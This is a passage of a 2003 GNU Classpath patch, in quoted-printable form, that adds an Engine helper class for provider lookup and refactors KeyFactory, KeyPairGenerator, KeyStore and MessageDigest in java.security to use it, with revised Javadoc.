          + * These classes ({@link java.security.Signature} for example) can be + * thought of as the "chrome, upholstery, and steering wheel", and the SPI + * (service provider interface, e.g. {@link java.security.SignatureSpi}) + * classes can be thought of as the "engine" -- providing the actual + * functionality of whatever cryptographic algorithm the instance + * represents. + * + * @see Provider + * @author Casey Marshall=20 + */ +final class Engine +{ + + // Constants. + // ---------------------------------------------------------------------= --- + + /** Prefix for aliases. */ + private static final String ALG_ALIAS =3D "Alg.Alias."; + + /** Maximum number of aliases to try. */ + private static final int MAX_ALIASES =3D 5; + + // Constructor. + // ---------------------------------------------------------------------= --- + + /** This class cannot be instantiated. */ + private Engine() { } + + // Class method. + // ---------------------------------------------------------------------= --- + + /** + * Get the implementation for algorithm for service + * service from provider. The service is e.g. + * "Signature", and the algorithm "DSA". + * + * @param service The service name. + * @param algorithm The name of the algorithm to get. + * @param provider The provider to get the implementation from. + * @return The engine class for the specified algorithm; the object + * returned is typically a subclass of the SPI class for that + * service, but callers should check that this is so. + * @throws NoSuchAlgorithmException If the implementation cannot be + * found or cannot be instantiated. + * @throws IllegalArgumentException If any of the three arguments are nu= ll. + */ + static Object + getInstance(String service, String algorithm, Provider provider) + throws NoSuchAlgorithmException + { + if (service =3D=3D null || algorithm =3D=3D null || provider =3D=3D nu= ll) + throw new IllegalArgumentException(); + + // If there is no property "service.algorithm" + if (provider.getProperty(service + "." + algorithm) =3D=3D null) + { + // Iterate through aliases, until we find the class name or resolv= e + // too many aliases. + String alias =3D null; + int count =3D 0; + while ((alias =3D provider.getProperty( + ALG_ALIAS + service + "." + algorithm)) !=3D null) + { + if (algorithm.equals(alias)) // Refers to itself! + break; + algorithm =3D alias; + if (count++ > MAX_ALIASES) + throw new NoSuchAlgorithmException("too many aliases"); + } + if (provider.getProperty(service + "." + algorithm) =3D=3D null) + throw new NoSuchAlgorithmException(algorithm); + } + + // Find and instantiate the implementation. + Class clazz =3D null; + ClassLoader loader =3D provider.getClass().getClassLoader(); + String error =3D algorithm; + try + { + if (loader !=3D null) + clazz =3D loader.loadClass(provider.getProperty(service+"."+algo= rithm)); + else + clazz =3D Class.forName(provider.getProperty(service+"."+algorit= hm)); + return clazz.newInstance(); + } + catch (ClassNotFoundException cnfe) + { + error =3D "class not found: " + algorithm; + } + catch (IllegalAccessException iae) + { + error =3D "illegal access: " + iae.getMessage(); + } + catch (InstantiationException ie) + { + error =3D "instantiation exception: " + ie.getMessage(); + } + catch (ExceptionInInitializerError eiie) + { + error =3D "exception in initializer: " + eiie.getMessage(); + } + catch (SecurityException se) + { + error =3D "security exception: " + se.getMessage(); + } + + throw new NoSuchAlgorithmException(error); + } +} Index: java/security/KeyFactory.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/classpath/classpath/java/security/KeyFactory.java,v retrieving revision 1.4 diff -u -r1.4 KeyFactory.java --- java/security/KeyFactory.java 22 Jan 2002 22:27:00 -0000 1.4 +++ java/security/KeyFactory.java 8 Mar 2003 20:59:04 -0000 @@ -1,5 +1,5 @@ /* KeyFactory.java --- Key Factory Class - Copyright (C) 1999 Free Software Foundation, Inc. + Copyright (C) 1999, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -36,31 +36,42 @@ exception statement from your version. */ =20 package java.security; + import java.security.spec.KeySpec; import java.security.spec.InvalidKeySpecException; =20 /** - Key factories are used to convert keys (opaque cryptographic=20 - keys of type Key) into key specifications (transparent=20 - representations of the underlying key material). - - Key factories are bi-directional. They allow a key class=20 - to be converted into a key specification (key material) and - back again. - - For example DSA public keys can be specified as=20 - DSAPublicKeySpec or X509EncodedKeySpec. The key factory - translate these key specifications.=20 - - @since JDK 1.2 - @author Mark Benvenuto + * Key factories are used to convert keys (opaque cryptographic keys of + * type {@link Key}) to and from key specifications (transparent + * representations of the underlying key material), and to translate + * keys into vendor-specific types. + * + *

          For example, DSA public keys can be specified as {@link + * java.security.spec.DSAPublicKeySpec} or {@link + * java.security.spec.X509EncodedKeySpec}, and DSA key factories can + * translate these key specifications into instances of {@link + * java.security.interfaces.DSAKey}. + * + * @since JDK 1.2 + * @author Mark Benvenuto + * @author Casey Marshall */ public class KeyFactory { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** The service name for key factories. */ + private static final String KEY_FACTORY =3D "KeyFactory"; + private KeyFactorySpi keyFacSpi; private Provider provider; private String algorithm; =20 + // Constructors. + // ---------------------------------------------------------------------= --- + /** Constructs a new keyFactory with the specified parameters. =20 @@ -76,15 +87,16 @@ this.algorithm =3D algorithm; } =20 - /**=20 - Gets an instance of the KeyFactory class representing - the specified key factory. If the algorithm is not=20 - found then, it throws NoSuchAlgorithmException. - - @param algorithm the name of algorithm to choose - @return a KeyFactory repesenting the desired algorithm + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @throws NoSuchAlgorithmException if the algorithm is not implemented = by providers + /** + * Get a key factory from the first provider that implements it. + * + * @param algorithm the name of algorithm to choose + * @return a KeyFactory repesenting the desired algorithm + * @throws NoSuchAlgorithmException If the algorithm is not implemented + * by providers or if the implementation cannot be instantiated. */ public static KeyFactory getInstance(String algorithm) throws NoSuchAlgorithmException @@ -93,63 +105,73 @@ =20 for (int i =3D 0; i < p.length; i++) { - String classname =3D p[i].getProperty("KeyFactory." + algorithm); - if (classname !=3D null) - return getInstance(classname, algorithm, p[i]); + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignore) + { + } } =20 throw new NoSuchAlgorithmException(algorithm); } =20 - /**=20 - Gets an instance of the KeyFactory class representing - the specified key factory from the specified provider.=20 - If the algorithm is not found then, it throws=20 - NoSuchAlgorithmException. If the provider is not found, then=20 - it throws NoSuchProviderException. - - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a KeyFactory repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by the provider - @throws NoSuchProviderException if the provider is not found + /** + * Get a key factory from a named provider. + * + * @param algorithm The name of the algorithm. + * @param provider The name of the provider. + * @return a KeyFactory for the desired algorithm + * @throws NoSuchAlgorithmException If the algorithm is not implemented + * by the provider or if the implementation cannot be instantiat= ed. + * @throws NoSuchProviderException If the provider is not found. + * @throws IllegalArgumentException If provider is null or + * is empty. */ public static KeyFactory getInstance(String algorithm, String provider) throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(); =20 - return getInstance(p.getProperty("KeyFactory." + algorithm), - algorithm, p); + return getInstance(algorithm, p); } =20 - private static KeyFactory getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException + /** + * Get a key factory from the specified provider. + * + * @param algorithm The name of the algorithm. + * @param provider The provider to get the implementation from. + * @return A key factory for the given algorithm. + * @throws NoSuchAlgorithmException If the provider does not implement + * the given algorithm, or if the implementation cannot be + * instantiated. + * @throws IllegalArgumentException If provider is null. + */ + public static KeyFactory getInstance(String algorithm, Provider provider= ) + throws NoSuchAlgorithmException { - + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); try { - return new KeyFactory((KeyFactorySpi) Class.forName(classname). - newInstance(), provider, algorithm); + return new KeyFactory((KeyFactorySpi) + Engine.getInstance(KEY_FACTORY, algorithm, provider), + provider, algorithm); } - catch (ClassNotFoundException cnfe) + catch (ClassCastException cce) { - throw new NoSuchAlgorithmException("Class not found"); - } - catch (InstantiationException ie) - { - throw new NoSuchAlgorithmException("Class instantiation failed"); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException("Illegal Access"); + throw new NoSuchAlgorithmException(algorithm); } } + + // Instance methods. + // ---------------------------------------------------------------------= --- =20 /** Gets the provider that the class is from. Index: java/security/KeyPairGenerator.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/classpath/classpath/java/security/KeyPairGenerator.java,= v retrieving revision 1.6 diff -u -r1.6 KeyPairGenerator.java --- java/security/KeyPairGenerator.java 16 Nov 2002 23:28:25 -0000 1.6 +++ java/security/KeyPairGenerator.java 8 Mar 2003 20:59:05 -0000 @@ -1,5 +1,5 @@ /* KeyPairGenerator.java --- Key Pair Generator Class - Copyright (C) 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2002, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -40,25 +40,34 @@ import java.security.spec.AlgorithmParameterSpec; =20 /** - KeyPairGenerator is the class used to generate key pairs - for a security algorithm. - - The KeyPairGenerator is created with the getInstance() - methods. The class is used to generate public and private - keys for an algorithm and associate it with=20 - algorithm parameters. - - @author Mark Benvenuto + * An interface to a key pair generator. Key pairs are used in various + * public-key cryptographic algorithms, such as digital signing, + * key agreement, and asymmetric cryptography. + * + * @see Signature + * @see KeyPair + * @author Mark Benvenuto + * @author Casey Marshall */ public abstract class KeyPairGenerator extends KeyPairGeneratorSpi { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** The service name for key pair generators. */ + private static final String KEY_PAIR_GENERATOR =3D "KeyPairGenerator"; + Provider provider; private String algorithm; =20 - /** - Constructs a new KeyPairGenerator + // Constructors. + // ---------------------------------------------------------------------= --- =20 - @param algorithm the algorithm to use + /** + * Constructs a new KeyPairGenerator + * + * @param algorithm the algorithm to use */ protected KeyPairGenerator(String algorithm) { @@ -66,60 +75,58 @@ this.provider =3D null; } =20 - /** - Returns the name of the algorithm used - - @return A string with the name of the algorithm - */ - public String getAlgorithm() - { - return algorithm; - } - - /**=20 - Gets an instance of the KeyPairGenerator class=20 - which generates key pairs for the specified algorithm.=20 - If the algorithm is not found then, it throws NoSuchAlgorithmExceptio= n. - - @param algorithm the name of algorithm to choose - @return a AlgorithmParameterGenerator repesenting the desired algorit= hm + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @throws NoSuchAlgorithmException if the algorithm is not implemented = by - providers + /** + * Get a key pair generator for the specified algorithm from the first + * provider that implements it. + * + * @param algorithm the name of algorithm to choose + * @return a AlgorithmParameterGenerator repesenting the desired algorit= hm + * @throws NoSuchAlgorithmException if the algorithm is not implemented = by + * any installed provider or if no implementation can be + * instantiated. */ - public static KeyPairGenerator getInstance(String algorithm) throws - NoSuchAlgorithmException + public static KeyPairGenerator getInstance(String algorithm) + throws NoSuchAlgorithmException { Provider[] p =3D Security.getProviders(); =20 for (int i =3D 0; i < p.length; i++) { - try - { - return getInstance(algorithm, p[i]); - } - catch (NoSuchAlgorithmException ignored) {} + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignored) + { + } } =20 throw new NoSuchAlgorithmException(algorithm); } =20 - /**=20 - Gets an instance of the KeyPairGenerator class=20 - which generates key pairs for the specified algorithm.=20 - If the algorithm is not found then, it throws NoSuchAlgorithmExceptio= n. - - @param algorithm the name of algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a AlgorithmParameterGenerator repesenting the desired algorit= hm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by - the provider - @throws NoSuchProviderException if the provider is not found + /** + * Get a key pair generator for the specified algorithm from the named + * provider. + * + * @param algorithm The name of the algorithm. + * @param provider The name of the provider. + * @return A KeyPairGenerator for the desired algorithm. + * @throws NoSuchAlgorithmException If the algorithm is not implemented = by + * the provider or if the implementation cannot be instantiated. + * @throws NoSuchProviderException If no provider named + * provider is installed. + * @throws IllegalArgumentException If provider is null + * or is empty. */ public static KeyPairGenerator getInstance(String algorithm, String prov= ider) - throws NoSuchAlgorithmException, NoSuchProviderException + throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(provider); @@ -127,63 +134,51 @@ return getInstance(algorithm, p); } =20 - private static KeyPairGenerator getInstance(String algorithm, Provider p= ) - throws NoSuchAlgorithmException - { - // try the name as is - String className =3D p.getProperty("KeyPairGenerator." + algorithm); - if (className =3D=3D null) { // try all uppercase - String upper =3D algorithm.toUpperCase(); - className =3D p.getProperty("KeyPairGenerator." + upper); - if (className =3D=3D null) { // try if it's an alias - String alias =3D p.getProperty("Alg.Alias.KeyPairGenerator." + alg= orithm); - if (alias =3D=3D null) { // try all-uppercase alias name - alias =3D p.getProperty("Alg.Alias.KeyPairGenerator." + upper); - if (alias =3D=3D null) { // spit the dummy - throw new NoSuchAlgorithmException(algorithm); - } - } - className =3D p.getProperty("KeyPairGenerator." + alias); - if (className =3D=3D null) { - throw new NoSuchAlgorithmException(algorithm); - } - } - } - return getInstance(className, algorithm, p); - } - - private static KeyPairGenerator getInstance(String classname, - String algorithm, - Provider provider) - throws NoSuchAlgorithmException - { - try - { - Object o =3D Class.forName(classname).newInstance(); - KeyPairGenerator kpg; - if (o instanceof KeyPairGeneratorSpi) - kpg =3D new DummyKeyPairGenerator((KeyPairGeneratorSpi) o, algorithm); - else - { - kpg =3D (KeyPairGenerator) o; - kpg.algorithm =3D algorithm; - } - - kpg.provider =3D provider; - return kpg; - } - catch (ClassNotFoundException cnfe) - { - throw new NoSuchAlgorithmException("Class not found"); - } - catch (InstantiationException ie) + /** + * Get a key pair generator for the specified algorithm from the given + * provider. + * + * @param algorithm The name of the algorithm. + * @param provider The provider. + * @return A KeyPairGenerator for the desired algorithm. + * @throws NoSuchAlgorithmException If the algorithm is not implemented = by + * the provider or if the implementation cannot be instantiated. + * @throws IllegalArgumentException If provider is null. + * @since 1.4 + */ + public static KeyPairGenerator + getInstance(String algorithm, Provider provider) + throws NoSuchAlgorithmException + { + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); + + Object o =3D Engine.getInstance(KEY_PAIR_GENERATOR, algorithm, provide= r); + KeyPairGenerator result =3D null; + if (o instanceof KeyPairGeneratorSpi) { - throw new NoSuchAlgorithmException("Class instantiation failed"); + result =3D new DummyKeyPairGenerator((KeyPairGeneratorSpi) o, algo= rithm); } - catch (IllegalAccessException iae) + else if (o instanceof KeyPairGenerator) { - throw new NoSuchAlgorithmException("Illegal Access"); + result =3D (KeyPairGenerator) o; + result.algorithm =3D algorithm; } + result.provider =3D provider; + return result; + } + + // Instance methods. + // ---------------------------------------------------------------------= --- + + /** + Returns the name of the algorithm used + + @return A string with the name of the algorithm + */ + public String getAlgorithm() + { + return algorithm; } =20 /** Index: java/security/KeyStore.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/classpath/classpath/java/security/KeyStore.java,v retrieving revision 1.5 diff -u -r1.5 KeyStore.java --- java/security/KeyStore.java 18 Nov 2002 18:04:38 -0000 1.5 +++ java/security/KeyStore.java 8 Mar 2003 20:59:06 -0000 @@ -1,5 +1,5 @@ /* KeyStore.java --- Key Store Class - Copyright (C) 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2002, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -44,37 +44,52 @@ import java.util.Enumeration; =20 /** - Keystore represents an in-memory collection of keys and=20 - certificates. There are two types of entries: - - * Key Entry - - This type of keystore entry store sensitive crytographic key - information in a protected format.Typically this is a secret=20 - key or a private key with a certificate chain. - - - * Trusted Ceritificate Entry - - This type of keystore entry contains a single public key=20 - certificate belonging to annother entity. It is called trusted - because the keystore owner trusts that the certificates - belongs to the subject (owner) of the certificate. - - The keystore contains an "alias" string for each entry.=20 - - The structure and persistentence of the key store is not=20 - specified. Any method could be used to protect sensitive=20 - (private or secret) keys. Smart cards or integrated=20 - cryptographic engines could be used or the keystore could=20 - be simply stored in a file.=20 + * Keystore represents an in-memory collection of keys and=20 + * certificates. There are two types of entries: + * + *

          + *
          Key Entry
          + * + *

          This type of keystore entry store sensitive crytographic key + * information in a protected format.Typically this is a secret=20 + * key or a private key with a certificate chain.

          + * + *
          Trusted Ceritificate Entry
          + * + *

          This type of keystore entry contains a single public key=20 + * certificate belonging to annother entity. It is called trusted + * because the keystore owner trusts that the certificates + * belongs to the subject (owner) of the certificate.

          + *
          + * + *

          Entries in a key store are referred to by their "alias": a simple + * unique string. + * + *

          The structure and persistentence of the key store is not=20 + * specified. Any method could be used to protect sensitive=20 + * (private or secret) keys. Smart cards or integrated=20 + * cryptographic engines could be used or the keystore could=20 + * be simply stored in a file.

          + * + * @see java.security.cert.Certificate + * @see Key */ public class KeyStore { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** Service name for key stores. */ + private static final String KEY_STORE =3D "KeyStore"; + private KeyStoreSpi keyStoreSpi; private Provider provider; private String type; =20 + // Constructors. + // ---------------------------------------------------------------------= --- + /** Creates an instance of KeyStore =20 @@ -89,16 +104,18 @@ this.type =3D type; } =20 - /**=20 - Gets an instance of the KeyStore class representing - the specified keystore. If the type is not=20 - found then, it throws KeyStoreException. - - @param type the type of keystore to choose - - @return a KeyStore repesenting the desired type + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @throws KeyStoreException if the type of keystore is not implemented = by providers + /**=20 + * Gets an instance of the KeyStore class representing + * the specified keystore. If the type is not=20 + * found then, it throws KeyStoreException. + * + * @param type the type of keystore to choose + * @return a KeyStore repesenting the desired type + * @throws KeyStoreException if the type of keystore is not implemented + * by providers or the implementation cannot be instantiated. */ public static KeyStore getInstance(String type) throws KeyStoreException { @@ -106,95 +123,102 @@ =20 for (int i =3D 0; i < p.length; i++) { - String classname =3D p[i].getProperty("KeyStore." + type); - if (classname !=3D null) - return getInstance(classname, type, p[i]); + try + { + return getInstance(type, p[i]); + } + catch (KeyStoreException ignore) + { + } } =20 throw new KeyStoreException(type); } =20 /**=20 - Gets an instance of the KeyStore class representing - the specified key store from the specified provider.=20 - If the type is not found then, it throws KeyStoreException.=20 - If the provider is not found, then it throws=20 - NoSuchProviderException. - - @param type the type of keystore to choose - @param provider the provider name - - @return a KeyStore repesenting the desired type - - @throws KeyStoreException if the type of keystore is not=20 - implemented by the given provider - @throws NoSuchProviderException if the provider is not found - @throws IllegalArgumentException if the provider string is=20 - null or empty + * Gets an instance of the KeyStore class representing + * the specified key store from the specified provider.=20 + * If the type is not found then, it throws KeyStoreException.=20 + * If the provider is not found, then it throws=20 + * NoSuchProviderException. + * + * @param type the type of keystore to choose + * @param provider the provider name + * @return a KeyStore repesenting the desired type + * @throws KeyStoreException if the type of keystore is not=20 + * implemented by the given provider + * @throws NoSuchProviderException if the provider is not found + * @throws IllegalArgumentException if the provider string is=20 + * null or empty */ public static KeyStore getInstance(String type, String provider) throws KeyStoreException, NoSuchProviderException { if (provider =3D=3D null || provider.length() =3D=3D 0) throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(); =20 - return getInstance(p.getProperty("KeyStore." + type), type, p); + return getInstance(type, p); } =20 /**=20 - Gets an instance of the KeyStore class representing - the specified key store from the specified provider.=20 - If the type is not found then, it throws KeyStoreException.=20 - If the provider is not found, then it throws=20 - NoSuchProviderException. - - @param type the type of keystore to choose - @param provider the keystore provider - - @return a KeyStore repesenting the desired type - - @throws KeyStoreException if the type of keystore is not=20 - implemented by the given provider - @throws IllegalArgumentException if the provider object is null - @since 1.4 + * Gets an instance of the KeyStore class representing + * the specified key store from the specified provider.=20 + * If the type is not found then, it throws KeyStoreException.=20 + * If the provider is not found, then it throws=20 + * NoSuchProviderException. + * + * @param type the type of keystore to choose + * @param provider the keystore provider + * @return a KeyStore repesenting the desired type + * @throws KeyStoreException if the type of keystore is not=20 + * implemented by the given provider + * @throws IllegalArgumentException if the provider object is null + * @since 1.4 */ public static KeyStore getInstance(String type, Provider provider) throws KeyStoreException=20 { if (provider =3D=3D null) throw new IllegalArgumentException("Illegal provider"); - - return getInstance(provider.getProperty("KeyStore." + type), - type, provider); - } - - private static KeyStore getInstance(String classname, - String type, - Provider provider) - throws KeyStoreException - { try { - return new KeyStore((KeyStoreSpi) Class.forName(classname). - newInstance(), provider, type); - } - catch (ClassNotFoundException cnfe) - { - throw new KeyStoreException("Class not found"); + return new KeyStore( + (KeyStoreSpi) Engine.getInstance(KEY_STORE, type, provider), + provider, type); } - catch (InstantiationException ie) + catch (NoSuchAlgorithmException nsae) { - throw new KeyStoreException("Class instantiation failed"); + throw new KeyStoreException(type); } - catch (IllegalAccessException iae) + catch (ClassCastException cce) { - throw new KeyStoreException("Illegal Access"); + throw new KeyStoreException(type); } } =20 + /** + * Returns the default KeyStore type. This method looks up the + * type in /lib/security/java.security with the=20 + * property "keystore.type" or if that fails then "jks" . + */ + public static final String getDefaultType() + { + // Security reads every property in java.security so it=20 + // will return this property if it exists.=20 + String tmp =3D Security.getProperty("keystore.type"); + + if (tmp =3D=3D null) + tmp =3D "jks"; + + return tmp; + } + + // Instance methods. + // ---------------------------------------------------------------------= --- =20 /** Gets the provider that the class is from. @@ -471,21 +495,4 @@ keyStoreSpi.engineLoad(stream, password); } =20 - /** - Returns the default KeyStore type. This method looks up the - type in /lib/security/java.security with the=20 - property "keystore.type" or if that fails then "jks" . - */ - public static final String getDefaultType() - { - String tmp; - //Security reads every property in java.security so it=20 - //will return this property if it exists.=20 - tmp =3D Security.getProperty("keystore.type"); - - if (tmp =3D=3D null) - tmp =3D "jks"; - - return tmp; - } } Index: java/security/MessageDigest.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/classpath/classpath/java/security/MessageDigest.java,v retrieving revision 1.6 diff -u -r1.6 MessageDigest.java --- java/security/MessageDigest.java 16 Nov 2002 23:28:25 -0000 1.6 +++ java/security/MessageDigest.java 8 Mar 2003 20:59:06 -0000 @@ -1,6 +1,5 @@ - /* MessageDigest.java --- The message digest interface. - Copyright (C) 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2002, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -38,17 +37,53 @@ =20 package java.security; =20 +/** + * An interface to message digest algorithms. A message digest + * algorithm takes as input a variable number of bytes and produces a + * fixed-length "fingerprint" of this data, with the property that it is + * computationally infeasible to (a) determine the source data from a + * given message digest, or (b) find two input texts that produce the same + * digest. Message digests are commonly used for ensuring the integrity + * or authenticity of data, and are used at the core of many signature + * and message authentication algorithms. + *

          + * To get an implementation of a message digest, query the {@link + * #getInstance(java.lang.String)} method with the name of the + * algorithm, e.g.: + * + *

          + * MessageDigest md =3D MessageDigest.getInstance("SHA1"); + *
          + * + *

          + * What algorithms are available depend upon what providers are + * installed and what message digests they implement. + *=20 + * @see MessageDigestSpi + * @see Provider + * @since JDK 1.1 + */ public abstract class MessageDigest extends MessageDigestSpi { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** The service name for message digests. */ + private static final String MESSAGE_DIGEST =3D "MessageDigest"; + private String algorithm; Provider provider; private byte[] lastDigest; =20 - /** - Creates a MessageDigest representing the specified - algorithm. + // Constructors. + // ---------------------------------------------------------------------= --- =20 - @param algorithm the name of digest algorithm to choose + /** + * Creates a MessageDigest representing the specified + * algorithm. + * + * @param algorithm the name of digest algorithm to choose */ protected MessageDigest(String algorithm) { @@ -56,130 +91,109 @@ provider =3D null; } =20 - /**=20 - Gets an instance of the MessageDigest class representing - the specified digest. If the algorithm is not found then,=20 - it throws NoSuchAlgorithmException. + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @param algorithm the name of digest algorithm to choose - @return a MessageDigest representing the desired algorithm - - @exception NoSuchAlgorithmException if the algorithm is not implement= ed by - providers + /** + * Get a message digest from the first provider that implements it. + * + * @param algorithm The name of digest algorithm. + * @return An instance of the desired message digest. + * @throws NoSuchAlgorithmException If the algorithm is not implemented + * by any installed provider. + * @see #getInstance(java.lang.String,java.lang.String) + * @see #getInstance(java.lang.String,java.security.Provider) */ public static MessageDigest getInstance(String algorithm) - throws NoSuchAlgorithmException + throws NoSuchAlgorithmException { Provider[] p =3D Security.getProviders(); for (int i =3D 0; i < p.length; i++) { - try - { - return getInstance(algorithm, p[i]); - } - catch (NoSuchAlgorithmException ignored) {} + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignored) + { + } } =20 throw new NoSuchAlgorithmException(algorithm); } =20 - /**=20 - Gets an instance of the MessageDigest class representing - the specified digest from the specified provider. If the=20 - algorithm is not found then, it throws NoSuchAlgorithmException. - If the provider is not found, then it throws - NoSuchProviderException. - - @param algorithm the name of digest algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a MessageDigest representing the desired algorithm - - @exception NoSuchAlgorithmException if the algorithm is not implement= ed by - the provider - @exception NoSuchProviderException if the provider is not found + /** + * Get a message digest from a named provider. + * + * @param algorithm The name of digest algorithm. + * @param provider The name of the provider. + * @return An instance of the desired message digest. + * + * @throws NoSuchAlgorithmException if the algorithm is not implemented = by + * the provider, or if the implementation cannot be instantiated= . + * @throws NoSuchProviderException If no provider named + * provider is currently installed. + * @throws IllegalArgumentException If provider is null + * or is empty. + * @see #getInstance(java.lang.String,java.security.Provider) */ - public static MessageDigest getInstance(String algorithm, String provide= r) - throws NoSuchAlgorithmException, NoSuchProviderException + throws NoSuchAlgorithmException, NoSuchProviderException { - Provider p =3D Security.getProvider(provider); + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); =20 + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(provider); =20 return getInstance(algorithm, p); } =20 - private static MessageDigest getInstance(String algorithm, Provider p) - throws NoSuchAlgorithmException - { - // try the name as is - String className =3D p.getProperty("MessageDigest." + algorithm); - if (className =3D=3D null) { // try all uppercase - String upper =3D algorithm.toUpperCase(); - className =3D p.getProperty("MessageDigest." + upper); - if (className =3D=3D null) { // try if it's an alias - String alias =3D p.getProperty("Alg.Alias.MessageDigest." +algorit= hm); - if (alias =3D=3D null) { // try all-uppercase alias name - alias =3D p.getProperty("Alg.Alias.MessageDigest." +upper); - if (alias =3D=3D null) { // spit the dummy - throw new NoSuchAlgorithmException(algorithm); - } - } - className =3D p.getProperty("MessageDigest." + alias); - if (className =3D=3D null) { - throw new NoSuchAlgorithmException(algorithm); - } - } - } - return getInstance(className, algorithm, p); - } - - private static MessageDigest getInstance(String classname, - String algorithm, - Provider provider) + /** + * Gets an implementation of the specified message digest algorithm + * from the specified provider. + * + * @param algorithm The message digest algorithm's name. + * @param provider The provider from which to get the implementation. + * @throws NoSuchAlgorithmException If the provider does not implement + * the algorithm, or if the implementation cannot be + * instantiated. + * @throws IllegalArgumentException If provider is null. + * @since 1.4 + */ + public static MessageDigest getInstance(String algorithm, Provider provi= der) throws NoSuchAlgorithmException { - if (classname =3D=3D null) - throw new NoSuchAlgorithmException(algorithm); - + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); MessageDigest result =3D null; - try + Object o =3D Engine.getInstance(MESSAGE_DIGEST, algorithm, provider); + =20 + if (o instanceof MessageDigestSpi) { - Object obj =3D Class.forName(classname).newInstance(); - if (obj instanceof MessageDigest) { - result =3D (MessageDigest) obj; - result.algorithm =3D algorithm; - } else if (obj instanceof MessageDigestSpi) { - result =3D new DummyMessageDigest((MessageDigestSpi) obj, algori= thm); - } else { - throw new ClassCastException("Class "+classname+" from Provider = " - +provider.getName() - +" does not extend java.security.MessageDigestSpi"); - } - result.provider =3D provider; - return result; + result =3D new DummyMessageDigest((MessageDigestSpi) o, algorithm)= ; } - catch (ClassNotFoundException cnfe) + else if (o instanceof MessageDigest) { - throw new NoSuchAlgorithmException(algorithm + ": Class not found."); + result =3D (MessageDigest) o; + result.algorithm =3D algorithm; } - catch (InstantiationException ie) + else { - throw new NoSuchAlgorithmException(algorithm - + ": Class instantiation failed."); - } - catch (IllegalAccessException iae) - { - throw new NoSuchAlgorithmException(algorithm + ": Illegal Access"); + throw new NoSuchAlgorithmException(algorithm); } + result.provider =3D provider; + return result; } =20 + // Instance methods. + // ---------------------------------------------------------------------= --- =20 /** - Gets the provider that the MessageDigest is from. - - @return the provider the this MessageDigest + * Gets the provider that the MessageDigest is from. + * + * @return The provider of this message digest implementation. */ public final Provider getProvider() { @@ -187,9 +201,9 @@ } =20 /** - Updates the digest with the byte. - - @param input byte to update the digest with + * Updates the digest with a single byte. + * + * @param input The byte to update the digest with. */ public void update(byte input) { @@ -197,32 +211,32 @@ } =20 /** - Updates the digest with the bytes 